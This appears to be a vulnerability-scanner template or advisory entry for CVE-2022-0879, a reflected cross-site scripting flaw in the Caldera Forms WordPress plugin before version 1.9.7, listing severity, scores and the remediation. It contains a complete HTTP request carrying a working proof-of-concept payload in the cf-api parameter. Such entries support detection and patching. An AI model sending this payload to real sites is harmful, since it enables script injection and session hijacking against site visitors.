| Title | Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement. |
| Remediation | Update to version 1.9.7 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01062 |
| CVE ID | CVE-2022-0879 |
| CWE ID | CWE-79 |
| Tags | wpscan cve cve2022 wordpress xss caldera-forms reflected unauth |
Caldera Forms WordPress plugin < 1.9.7 contains a reflected cross-site scripting caused by lack of validation and escaping of the cf-api parameter in responses, letting attackers execute arbitrary scripts in victim’s browser, exploit requires attacker to craft a malicious request.
GET /?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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